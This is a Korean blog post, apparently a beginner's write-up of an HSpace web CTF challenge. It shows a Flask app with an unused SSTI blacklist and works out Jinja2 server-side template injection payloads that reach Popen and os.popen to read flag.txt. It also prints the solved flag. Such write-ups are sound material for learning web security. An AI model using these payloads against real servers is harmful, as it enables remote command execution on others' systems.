[Space WAR] for_beginner

리안·2024년 1월 13일
0

CTF

목록 보기
2/5

문제 살펴보기

HSpace에서 진행하는 Web CTF 문제를 풀었다. 이비전 사담방에서 선배님들이 쉬운 문제 하나 있다길래...ㅎㅎ 냉큼 들어왔지~!

from flask import Flask, request, render_template, render_template_string, redirect
import subprocess
import urllib
import re

app = Flask(__name__)

blacklist = ['os','subprocesses','exec','vars','sys','"','\+','open','rm','main','static','templates','ctf','rf','spawnlp','execfile','dir','dev','tcp','sh','import','built','__class__','for','request','\,','app','file','url_for','\[','\]','config']

def Prevent_SSTI(input):
    for i in blacklist:
        res = re.search(i,input)
        if res:
            return True
    else:
        return False

@app.route('/')
def main():
    name = request.args.get("name", "World")
    return render_template_string(f'Hello {name}!!')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

문제 페이지와 app.py 코드이다. 이상하다고 생각했던 건... Prevent_SSIT 함수를 만들어놓고 왜 메인에서 안 썼는지... 근데 그냥 힌트 준 것 같다.

문제풀이

@app.route('/')
def main():
    name = request.args.get("name", "World")
    return render_template_string(f'Hello {name}!!')

이 부분 보면 name 매개변수를 url 리퀘스트로 받는데, 기본값을 World로 하는 것 같다. 가장 처음 페이지에서 리퀘스트를 주지 않았으니 Hello World!!를 출력한 듯

그렇군 그렇군. url에 ?name=name을 입력하니 Hello name!!을 출력한다.

문제 코드에서 SSTI 블랙리스트가 있었으니 SSTI로 접근~!

템플릿 파악

순서대로 진행해보자.

${7*7}은 안 되고 {{7*7}}은 동작한다!

{{7*'7'}}을 입력했을 때 7777777이 나오는 걸 보니 jinja2인 걸 알 수 있다.

jinja2

템플릿이 jinja2임을 알았으니 제일 먼저 config 페이로드를 작성해보자. 문제 코드 Blacklist에 config도 있었는데, 아까 이상하다고 생각했던 것처럼 main에서 검증을 안함... 진짜인지 확인하러 감~!!

...머지? 진짜 필터링 안 한다... 그럼 그냥.... 하면 대자나...?

{{''.__class__.__mro__}} 

페이로드를 작성해주었다. 오. object class 사용 가능! object 클래스의 서브클래스를 확인해보자.

{{''.__class__.__mro__[1].__subclasses__()}}

오... 와우... 뭐가 짱 많음. 괜찮아 popen 있는지만 확인하면 돼~!

그렇지~~

popen이 [494] 인덱스에 있다는 것까지 확인했다. 그럼 이제

{{''.__class__.__mro__[1].__subclasses__()[494]('cat flag.txt',shell=True,stdout=-1).communicate()}}

를 입력해주자.

우왕 해결~

flag: hspace{57a32c35915278d4de4ca21a8dc22b7f642a2a33e1508050c9498e1e48290e38}

추가로!

{{cycler.__init__.__globals__.os.popen('cat flag.txt').read()}}

SSTI 찾아보다가 이렇게 작성하는 방법도 있길래 해봤더니 이것도 flag를 보여준다. 리눅스 명령어 조금 더 공부하고... 암튼 열심히 해봐야겠당...

0개의 댓글